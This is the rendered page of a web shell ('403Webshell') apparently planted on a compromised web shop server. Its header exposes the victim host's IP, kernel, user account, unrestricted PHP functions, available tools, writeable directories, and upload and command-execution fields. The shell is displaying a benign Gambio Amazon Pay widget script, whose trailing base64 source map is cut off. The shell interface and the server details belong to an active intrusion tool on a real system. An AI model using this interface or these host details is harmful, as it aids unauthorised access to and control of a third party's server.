403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/system/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/system/widgets/amazon_loginpay.js
'use strict';

/* --------------------------------------------------------------
   amazon_loginpay.js 2018-11-28
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2017 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

gambio.widgets.module('amazon_loginpay', [], function (data) {

    'use strict';

    var $this = $(this),
        $body = $('body'),
        $countryNotAllowed = null,
        $button = null,
        $continue = null,
        defaults = {
        continueBtn: '.btn-continue',
        placeholderId: null,
        mode: 'addressbook',
        sellerId: null,
        clientId: null,
        widgetsSrc: null,
        readonlyAddressbook: null,
        readonlyWallet: null,
        requestURL: 'request_port.php?module=AmazonAdvPay',
        countrytxt: 'country not allowed'
    },
        orderReference = null,
        options = $.extend(true, {}, defaults, data),
        module = {};

    // ########## HELPER FUNCTIONS ##########

    // ########## INITIALIZATION ##########

    /**
     * Init function of the widget
     * @constructor
     */
    module.init = function (done) {
        $continue = $(options.continueBtn);

        window.onAmazonLoginReady = function () {
            amazon.Login.setClientId(options.clientId);
            amazon.Login.setUseCookie(true);
        };
        window.onAmazonPaymentsReady = function () {
            if (options.mode === 'addressbook') {
                new OffAmazonPayments.Widgets.AddressBook({
                    sellerId: options.sellerId,
                    design: {
                        designMode: 'responsive'
                    },
                    onOrderReferenceCreate: function onOrderReferenceCreate(amzOrderReference) {
                        console.log(amzOrderReference);
                        orderReference = amzOrderReference.getAmazonOrderReferenceId();
                        $('#amz-orderrefid').val(orderReference);
                    },
                    onAddressSelect: function onAddressSelect(addressBookWidget) {
                        var dataset = {
                            orderrefid: orderReference,
                            action: 'addressSelect'
                        };
                        $.post(options.requestURL, dataset).done(function (result) {
                            // Show / hide the "country not allowed" error message
                            if (result.country_allowed === 'false') {
                                $continue.hide();
                                $countryNotAllowed.show();
                            } else {
                                if (result.reload === 'true') {
                                    location.reload();
                                }
                                $continue.show();
                                $countryNotAllowed.hide();
                            }
                        }).fail(function (result) {
                            alert('ERROR');
                        });
                        console.log(orderReference);
                    },
                    onReady: function onReady(orderReference) {},
                    onError: function onError(error) {
                        console.log(error);
                    }
                }).bind(options.placeholderId);
            }

            if (options.mode === 'wallet') {
                var walletOptions = {
                    sellerId: options.sellerId,
                    design: {
                        designMode: 'responsive'
                    },
                    onPaymentSelect: function onPaymentSelect(orderReference) {},
                    onError: function onError(error) {
                        console.log(error);
                    }
                };
                if (options.orderReferenceId) {
                    walletOptions.amazonOrderReferenceId = options.orderReferenceId;
                } else {
                    walletOptions.onOrderReferenceCreate = function (amzOrderReference) {
                        console.log(amzOrderReference);
                        orderReference = amzOrderReference.getAmazonOrderReferenceId();
                        $('#amz-orderrefid').val(orderReference);
                    };
                }

                new OffAmazonPayments.Widgets.Wallet(walletOptions).bind(options.placeholderId);
            }

            if (options.mode === 'readonly') {
                if (null !== document.querySelector('#' + options.readonlyAddressbook)) {
                    new OffAmazonPayments.Widgets.AddressBook({
                        sellerId: options.sellerId,
                        design: {
                            designMode: 'responsive'
                        },
                        amazonOrderReferenceId: options.orderReferenceId,
                        displayMode: 'Read'
                    }).bind(options.readonlyAddressbook);
                }

                new OffAmazonPayments.Widgets.Wallet({
                    sellerId: options.sellerId,
                    design: {
                        designMode: 'responsive'
                    },
                    amazonOrderReferenceId: options.orderReferenceId,
                    displayMode: 'Read'
                }).bind(options.readonlyWallet);
            }

            $('#' + options.placeholderId).css('height', '25em').css('margin-bottom', '1em');
            if (options.readonlyAddressbook) {
                $('#' + options.readonlyAddressbook).css('height', '15em');
            }
            if (options.readonlyWallet) {
                $('#' + options.readonlyWallet).css('height', '15em');
            }
        };
        $('body').append($('<script src="' + options.widgetsSrc + '" async></script>'));

        if (options.mode === 'addressbook') {
            $countryNotAllowed = $('<div class="amzadvpay_countrynotallowed" style="display: none;">' + options.countrytxt + '</div>');
            $('#' + options.placeholderId).after($countryNotAllowed);
        }

        done();
    };

    // Return data to widget engine
    return module;
});
//# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndpZGdldHMvYW1hem9uX2xvZ2lucGF5LmpzIl0sIm5hbWVzIjpbImdhbWJpbyIsIndpZGdldHMiLCJtb2R1bGUiLCJkYXRhIiwiJHRoaXMiLCIkIiwiJGJvZHkiLCIkY291bnRyeU5vdEFsbG93ZWQiLCIkYnV0dG9uIiwiJGNvbnRpbnVlIiwiZGVmYXVsdHMiLCJjb250aW51ZUJ0biIsInBsYWNlaG9sZGVySWQiLCJtb2RlIiwic2VsbGVySWQiLCJjbGllbnRJZCIsIndpZGdldHNTcmMiLCJyZWFkb25seUFkZHJlc3Nib29rIiwicmVhZG9ubHlXYWxsZXQiLCJyZXF1ZXN0VVJMIiwiY291bnRyeXR4dCIsIm9yZGVyUmVmZXJlbmNlIiwib3B0aW9ucyIsImV4dGVuZCIsImluaXQiLCJkb25lIiwid2luZG93Iiwib25BbWF6b25Mb2dpblJlYWR5IiwiYW1hem9uIiwiTG9naW4iLCJzZXRDbGllbnRJZCIsInNldFVzZUNvb2tpZSIsIm9uQW1hem9uUGF5bWVudHNSZWFkeSIsIk9mZkFtYXpvblBheW1lbnRzIiwiV2lkZ2V0cyIsIkFkZHJlc3NCb29rIiwiZGVzaWduIiwiZGVzaWduTW9kZSIsIm9uT3JkZXJSZWZlcmVuY2VDcmVhdGUiLCJhbXpPcmRlclJlZmVyZW5jZSIsImNvbnNvbGUiLCJsb2ciLCJnZXRBbWF6b25PcmRlclJlZmVyZW5jZUlkIiwidmFsIiwib25BZGRyZXNzU2VsZWN0IiwiYWRkcmVzc0Jvb2tXaWRnZXQiLCJkYXRhc2V0Iiwib3JkZXJyZWZpZCIsImFjdGlvbiIsInBvc3QiLCJyZXN1bHQiLCJjb3VudHJ5X2FsbG93ZWQiLCJoaWRlIiwic2hvdyIsInJlbG9hZCIsImxvY2F0aW9uIiwiZmFpbCIsImFsZXJ0Iiwib25SZWFkeSIsIm9uRXJyb3IiLCJlcnJvciIsImJpbmQiLCJ3YWxsZXRPcHRpb25zIiwib25QYXltZW50U2VsZWN0Iiwib3JkZXJSZWZlcmVuY2VJZCIsImFtYXpvbk9yZGVyUmVmZXJlbmNlSWQiLCJXYWxsZXQiLCJkb2N1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QjtBQUNILEtBbEhEOztBQW9IQTtBQUNBLFdBQU92QixNQUFQO0FBQ0gsQ0F2SkQiLCJmaWxlIjoid2lkZ2V0cy9hbWF6b25fbG9naW5wYXkuanMiLCJzb3VyY2VzQ29udGVudCI6WyIvKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuICAgYW1hem9uX2xvZ2lucGF5LmpzIDIwMTgtMTEtMjhcbiAgIEdhbWJpbyBHbWJIXG4gICBodHRwOi8vd3d3LmdhbWJpby5kZVxuICAgQ29weXJpZ2h0IChjKSAyMDE3IEdhbWJpbyBHbWJIXG4gICBSZWxlYXNlZCB1bmRlciB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgKFZlcnNpb24gMilcbiAgIFtodHRwOi8vd3d3LmdudS5vcmcvbGljZW5zZXMvZ3BsLTIuMC5odG1sXVxuICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiovXG5cbmdhbWJpby53aWRnZXRzLm1vZHVsZSgnYW1hem9uX2xvZ2lucGF5JywgW10sIGZ1bmN0aW9uIChkYXRhKSB7XG5cbiAgICAndXNlIHN0cmljdCc7XG5cbiAgICB2YXIgJHRoaXMgPSAkKHRoaXMpLFxuICAgICAgICAkYm9keSA9ICQoJ2JvZHknKSxcbiAgICAgICAgJGNvdW50cnlOb3RBbGxvd2VkID0gbnVsbCxcbiAgICAgICAgJGJ1dHRvbiA9IG51bGwsXG4gICAgICAgICRjb250aW51ZSA9IG51bGwsXG4gICAgICAgIGRlZmF1bHRzID0ge1xuICAgICAgICAgICAgY29udGludWVCdG46ICcuYnRuLWNvbnRpbnVlJyxcbiAgICAgICAgICAgIHBsYWNlaG9sZGVySWQ6IG51bGwsXG4gICAgICAgICAgICBtb2RlOiAnYWRkcmVzc2Jvb2snLFxuICAgICAgICAgICAgc2VsbGVySWQ6IG51bGwsXG4gICAgICAgICAgICBjbGllbnRJZDogbnVsbCxcbiAgICAgICAgICAgIHdpZGdldHNTcmM6IG51bGwsXG4gICAgICAgICAgICByZWFkb25seUFkZHJlc3Nib29rOiBudWxsLFxuICAgICAgICAgICAgcmVhZG9ubHlXYWxsZXQ6IG51bGwsXG4gICAgICAgICAgICByZXF1ZXN0VVJMOiAncmVxdWVzdF9wb3J0LnBocD9tb2R1bGU9QW1hem9uQWR2UGF5JyxcbiAgICAgICAgICAgIGNvdW50cnl0eHQ6ICdjb3VudHJ5IG5vdCBhbGxvd2VkJ1xuICAgICAgICB9LFxuICAgICAgICBvcmRlclJlZmVyZW5jZSA9IG51bGwsXG4gICAgICAgIG9wdGlvbnMgPSAkLmV4dGVuZCh0cnVlLCB7fSwgZGVmYXVsdHMsIGRhdGEpLFxuICAgICAgICBtb2R1bGUgPSB7fTtcblxuLy8gIyMjIyMjIyMjIyBIRUxQRVIgRlVOQ1RJT05TICMjIyMjIyMjIyNcblxuICAgIC8vICMjIyMjIyMjIyMgSU5JVElBTElaQVRJT04gIyMjIyMjIyMjI1xuXG4gICAgLyoqXG4gICAgICogSW5pdCBmdW5jdGlvbiBvZiB0aGUgd2lkZ2V0XG4gICAgICogQGNvbnN0cnVjdG9yXG4gICAgICovXG4gICAgbW9kdWxlLmluaXQgPSBmdW5jdGlvbiAoZG9uZSkge1xuICAgICAgICAkY29udGludWUgPSAkKG9wdGlvbnMuY29udGludWVCdG4pO1xuXG4gICAgICAgIHdpbmRvdy5vbkFtYXpvbkxvZ2luUmVhZHkgPSBmdW5jdGlvbiAoKSB7XG4gICAgICAgICAgICBhbWF6b24uTG9naW4uc2V0Q2xpZW50SWQob3B0aW9ucy5jbGllbnRJZCk7XG4gICAgICAgICAgICBhbWF6b24uTG9naW4uc2V0VXNlQ29va2llKHRydWUpO1xuICAgICAgICB9O1xuICAgICAgICB3aW5kb3cub25BbWF6b25QYXltZW50c1JlYWR5ID0gZnVuY3Rpb24gKCkge1xuICAgICAgICAgICAgaWYgKG9wdGlvbnMubW9kZSA9PT0gJ2FkZHJlc3Nib29rJykge1xuICAgICAgICAgICAgICAgIG5ldyBPZmZBbWF6b25QYXltZW50cy5XaWRnZXRzLkFkZHJlc3NCb29rKHtcbiAgICAgICAgICAgICAgICAgICAgc2VsbGVySWQ6IG9wdGlvbnMuc2VsbGVySWQsXG4gICAgICAgICAgICAgICAgICAgIGRlc2lnbjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgZGVzaWduTW9kZTogJ3Jlc3BvbnNpdmUnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIG9uT3JkZXJSZWZlcmVuY2VDcmVhdGU6IGZ1bmN0aW9uIChhbXpPcmRlclJlZmVyZW5jZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coYW16T3JkZXJSZWZlcmVuY2UpO1xuICAgICAgICAgICAgICAgICAgICAgICAgb3JkZXJSZWZlcmVuY2UgPSBhbXpPcmRlclJlZmVyZW5jZS5nZXRBbWF6b25PcmRlclJlZmVyZW5jZUlkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAkKCcjYW16LW9yZGVycmVmaWQnKS52YWwob3JkZXJSZWZlcmVuY2UpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBvbkFkZHJlc3NTZWxlY3Q6IGZ1bmN0aW9uIChhZGRyZXNzQm9va1dpZGdldCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRhdGFzZXQgPSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3JkZXJyZWZpZDogb3JkZXJSZWZlcmVuY2UsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgYWN0aW9uOiAnYWRkcmVzc1NlbGVjdCdcbiAgICAgICAgICAgICAgICAgICAgICAgIH07XG4gICAgICAgICAgICAgICAgICAgICAgICAkLnBvc3Qob3B0aW9ucy5yZXF1ZXN0VVJMLCBkYXRhc2V0KS5kb25lKGZ1bmN0aW9uIChyZXN1bHQpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBTaG93IC8gaGlkZSB0aGUgXCJjb3VudHJ5IG5vdCBhbGxvd2VkXCIgZXJyb3IgbWVzc2FnZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZXN1bHQuY291bnRyeV9hbGxvd2VkID09PSAnZmFsc2UnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250aW51ZS5oaWRlKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb3VudHJ5Tm90QWxsb3dlZC5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3VsdC5yZWxvYWQgPT09ICd0cnVlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRpbnVlLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50cnlOb3RBbGxvd2VkLmhpZGUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pLmZhaWwoZnVuY3Rpb24gKHJlc3VsdCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCdFUlJPUicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhvcmRlclJlZmVyZW5jZSk7XG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIG9uUmVhZHk6IGZ1bmN0aW9uIChvcmRlclJlZmVyZW5jZSkge1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBvbkVycm9yOiBmdW5jdGlvbiAoZXJyb3IpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKGVycm9yKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLmJpbmQob3B0aW9ucy5wbGFjZWhvbGRlcklkKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKG9wdGlvbnMubW9kZSA9PT0gJ3dhbGxldCcpIHtcbiAgICAgICAgICAgICAgICBsZXQgd2FsbGV0T3B0aW9ucyA9IHtcbiAgICAgICAgICAgICAgICAgICAgc2VsbGVySWQ6IG9wdGlvbnMuc2VsbGVySWQsXG4gICAgICAgICAgICAgICAgICAgIGRlc2lnbjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgZGVzaWduTW9kZTogJ3Jlc3BvbnNpdmUnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIG9uUGF5bWVudFNlbGVjdDogZnVuY3Rpb24gKG9yZGVyUmVmZXJlbmNlKSB7XG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIG9uRXJyb3I6IGZ1bmN0aW9uIChlcnJvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coZXJyb3IpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICBpZiAob3B0aW9ucy5vcmRlclJlZmVyZW5jZUlkKSB7XG4gICAgICAgICAgICAgICAgICAgIHdhbGxldE9wdGlvbnMuYW1hem9uT3JkZXJSZWZlcmVuY2VJZCA9IG9wdGlvbnMub3JkZXJSZWZlcmVuY2VJZDtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICB3YWxsZXRPcHRpb25zLm9uT3JkZXJSZWZlcmVuY2VDcmVhdGUgPSBmdW5jdGlvbiAoYW16T3JkZXJSZWZlcmVuY2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKGFtek9yZGVyUmVmZXJlbmNlKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyUmVmZXJlbmNlID0gYW16T3JkZXJSZWZlcmVuY2UuZ2V0QW1hem9uT3JkZXJSZWZlcmVuY2VJZCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJCgnI2Ftei1vcmRlcnJlZmlkJykudmFsKG9yZGVyUmVmZXJlbmNlKTtcbiAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBuZXcgT2ZmQW1hem9uUGF5bWVudHMuV2lkZ2V0cy5XYWxsZXQod2FsbGV0T3B0aW9ucykuYmluZChvcHRpb25zLnBsYWNlaG9sZGVySWQpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpZiAob3B0aW9ucy5tb2RlID09PSAncmVhZG9ubHknKSB7XG4gICAgICAgICAgICAgICAgaWYgKG51bGwgIT09IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyMnICsgb3B0aW9ucy5yZWFkb25seUFkZHJlc3Nib29rKSkge1xuICAgICAgICAgICAgICAgICAgICBuZXcgT2ZmQW1hem9uUGF5bWVudHMuV2lkZ2V0cy5BZGRyZXNzQm9vayh7XG4gICAgICAgICAgICAgICAgICAgICAgICBzZWxsZXJJZDogb3B0aW9ucy5zZWxsZXJJZCxcbiAgICAgICAgICAgICAgICAgICAgICAgIGRlc2lnbjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlc2lnbk1vZGU6ICdyZXNwb25zaXZlJ1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGFtYXpvbk9yZGVyUmVmZXJlbmNlSWQ6IG9wdGlvbnMub3JkZXJSZWZlcmVuY2VJZCxcbiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXlNb2RlOiAnUmVhZCdcbiAgICAgICAgICAgICAgICAgICAgfSkuYmluZChvcHRpb25zLnJlYWRvbmx5QWRkcmVzc2Jvb2spO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIG5ldyBPZmZBbWF6b25QYXltZW50cy5XaWRnZXRzLldhbGxldCh7XG4gICAgICAgICAgICAgICAgICAgIHNlbGxlcklkOiBvcHRpb25zLnNlbGxlcklkLFxuICAgICAgICAgICAgICAgICAgICBkZXNpZ246IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGRlc2lnbk1vZGU6ICdyZXNwb25zaXZlJ1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBhbWF6b25PcmRlclJlZmVyZW5jZUlkOiBvcHRpb25zLm9yZGVyUmVmZXJlbmNlSWQsXG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXlNb2RlOiAnUmVhZCdcbiAgICAgICAgICAgICAgICB9KS5iaW5kKG9wdGlvbnMucmVhZG9ubHlXYWxsZXQpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAg